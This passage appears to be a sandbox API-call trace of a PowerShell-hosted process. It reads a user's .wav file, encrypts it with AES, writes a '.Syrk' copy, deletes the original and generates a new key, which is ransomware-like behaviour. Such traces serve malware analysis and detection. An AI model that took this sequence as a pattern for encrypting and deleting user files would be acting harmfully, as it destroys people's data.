1 [0236.242] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.243] CryptDuplicateKey (in: hKey=0x5c69080, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5068) returned 1 [0236.243] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.243] CryptSetKeyParam (hKey=0x3b5068, dwParam=0x4, pbData=0x24704b8*=0x1, dwFlags=0x0) returned 1 [0236.243] CryptSetKeyParam (hKey=0x3b5068, dwParam=0x1, pbData=0x2470484, dwFlags=0x0) returned 1 [0236.243] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.243] EtwEventActivityIdControl () returned 0x0 [0236.243] EtwEventActivityIdControl () returned 0x0 [0236.244] EtwEventActivityIdControl () returned 0x0 [0236.244] EtwEventActivityIdControl () returned 0x0 [0236.245] ReadFile (in: hFile=0x454, lpBuffer=0x24730f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24730f4*, lpNumberOfBytesRead=0x5a2e7d8*=0x10c92, lpOverlapped=0x0) returned 1 [0236.247] CryptEncrypt (in: hKey=0x3b5068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x248710c*, pdwDataLen=0x5a2e7cc*=0x10c90, dwBufLen=0x10c90 | out: pbData=0x248710c*, pdwDataLen=0x5a2e7cc*=0x10c90) returned 1 [0236.250] WriteFile (in: hFile=0x458, lpBuffer=0x246f25c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x246f25c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0236.252] WriteFile (in: hFile=0x458, lpBuffer=0x24880f8*, nNumberOfBytesToWrite=0xfca4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24880f8*, lpNumberOfBytesWritten=0x5a2e7b0*=0xfca4, lpOverlapped=0x0) returned 1 [0236.253] ReadFile (in: hFile=0x454, lpBuffer=0x24730f4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24730f4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0236.253] CryptEncrypt (in: hKey=0x3b5068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2497da8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2497da8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0236.253] CryptEncrypt (in: hKey=0x3b5068, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2497dc4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2497dc4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0236.253] WriteFile (in: hFile=0x458, lpBuffer=0x246f25c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x246f25c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0236.254] CloseHandle (hObject=0x458) returned 1 [0236.256] CloseHandle (hObject=0x454) returned 1 [0236.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.257] EtwEventActivityIdControl () returned 0x0 [0236.257] EtwEventActivityIdControl () returned 0x0 [0236.257] EtwEventActivityIdControl () returned 0x0 [0236.263] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav")) returned 0x20 [0236.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.265] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0236.266] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0236.266] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0236.266] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0236.266] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0236.266] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0236.266] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0236.266] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0236.266] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0236.266] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0236.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0236.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0236.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0236.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0236.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0236.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0236.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0236.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0236.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0236.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0236.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0236.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0236.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0236.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0236.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0236.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0236.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0236.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0236.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav")) returned 0x20 [0236.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0236.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.272] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0236.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0236.272] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0236.272] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0236.272] CoTaskMemFree (pv=0x5c9b950) [0236.274] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav")) returned 0x20 [0236.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav", lpFilePart=0x0) returned 0x44 [0236.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0236.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav"), fInfoLevelId=0x0, lpFileInformation=0x24a7d40 | out: lpFileInformation=0x24a7d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x228c17e0, ftCreationTime.dwHighDateTime=0x1d99502, ftLastAccessTime.dwLowDateTime=0x25aa4970, ftLastAccessTime.dwHighDateTime=0x1d99984, ftLastWriteTime.dwLowDateTime=0x25aa4970, ftLastWriteTime.dwHighDateTime=0x1d99984, nFileSizeHigh=0x0, nFileSizeLow=0x10c92)) returned 1 [0236.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0236.274] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav")) returned 1 [0236.276] EtwEventActivityIdControl () returned 0x0 [0236.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.277] EtwEventActivityIdControl () returned 0x0 [0236.277] EtwEventActivityIdControl () returned 0x0 [0236.277] EtwEventActivityIdControl () returned 0x0 [0236.285] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav.syrk")) returned 0x20 [0236.286] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav.syrk")) returned 0x20 [0236.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0236.286] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk", lpFilePart=0x0) returned 0x49 [0236.287] EtwEventActivityIdControl () returned 0x0 [0236.287] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.287] EtwEventActivityIdControl () returned 0x0 [0236.287] EtwEventActivityIdControl () returned 0x0 [0236.287] EtwEventActivityIdControl () returned 0x0 [0236.292] EtwEventActivityIdControl () returned 0x0 [0236.292] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.292] EtwEventActivityIdControl () returned 0x0 [0236.292] EtwEventActivityIdControl () returned 0x0 [0236.293] EtwEventActivityIdControl () returned 0x0 [0236.298] EtwEventActivityIdControl () returned 0x0 [0236.298] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.298] EtwEventActivityIdControl () returned 0x0 [0236.298] EtwEventActivityIdControl () returned 0x0 [0236.298] EtwEventActivityIdControl () returned 0x0 [0236.303] EtwEventActivityIdControl () returned 0x0 [0236.304] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.304] EtwEventActivityIdControl () returned 0x0 [0236.304] EtwEventActivityIdControl () returned 0x0 [0236.304] EtwEventActivityIdControl () returned 0x0 [0236.309] EtwEventActivityIdControl () returned 0x0 [0236.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.310] EtwEventActivityIdControl () returned 0x0 [0236.310] EtwEventActivityIdControl () returned 0x0 [0236.310] EtwEventActivityIdControl () returned 0x0 [0236.315] EtwEventActivityIdControl () returned 0x0 [0236.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0236.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\L9ni.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\l9ni.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24b56e0 | out: lpFileInformation=0x24b56e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac1c60, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x8ac1c60, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x8ae7dc0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x10cb4)) returned 1 [0236.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0236.321] GetConsoleOutputCP () returned 0x1b5 [0236.322] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.322] GetConsoleOutputCP () returned 0x1b5 [0236.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.323] GetConsoleOutputCP () returned 0x1b5 [0236.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.323] GetConsoleOutputCP () returned 0x1b5 [0236.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.323] GetConsoleOutputCP () returned 0x1b5 [0236.323] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.324] GetConsoleOutputCP () returned 0x1b5 [0236.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.344] GetConsoleOutputCP () returned 0x1b5 [0236.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.344] GetConsoleOutputCP () returned 0x1b5 [0236.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.344] GetConsoleOutputCP () returned 0x1b5 [0236.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.344] GetConsoleOutputCP () returned 0x1b5 [0236.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.345] GetConsoleOutputCP () returned 0x1b5 [0236.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.345] GetConsoleOutputCP () returned 0x1b5 [0236.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.345] GetConsoleOutputCP () returned 0x1b5 [0236.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0236.345] GetConsoleOutputCP () returned 0x1b5 [0236.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0236.346] GetConsoleOutputCP () returned 0x1b5 [0236.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.346] GetConsoleOutputCP () returned 0x1b5 [0236.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0236.346] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0236.347] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0236.347] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24cf350*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24cf350*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0236.347] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0236.348] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0236.348] EtwEventActivityIdControl () returned 0x0 [0236.349] EtwEventActivityIdControl () returned 0x0 [0236.349] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.349] EtwEventActivityIdControl () returned 0x0 [0236.349] EtwEventActivityIdControl () returned 0x0 [0236.349] EtwEventActivityIdControl () returned 0x0 [0236.351] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.352] EtwEventActivityIdControl () returned 0x0 [0236.352] EtwEventActivityIdControl () returned 0x0 [0236.352] EtwEventActivityIdControl () returned 0x0 [0236.354] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0236.379] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x3b5168) returned 1 [0236.379] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.379] CryptExportKey (in: hKey=0x3b5168, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0236.379] CryptExportKey (in: hKey=0x3b5168, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24d6d1c, pdwDataLen=0x5a2e8c4 | out: pbData=0x24d6d1c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0236.379] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.380] EtwEventActivityIdControl () returned 0x0 [0236.380] EtwEventActivityIdControl () returned 0x0 [0236.380] EtwEventActivityIdControl () returned 0x0 [0236.381] SysStringLen (param_1="") returned 0x8 [0236.381] SysStringLen (param_1="v") returned 0x8 [0236.381] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.381] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0236.381] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0236.381] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.381] SysStringLen (param_1="v9") returned 0x8 [0236.381] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.381] SysStringLen (param_1="븂셂嫭찅띒ᄛㆣ簎") returned 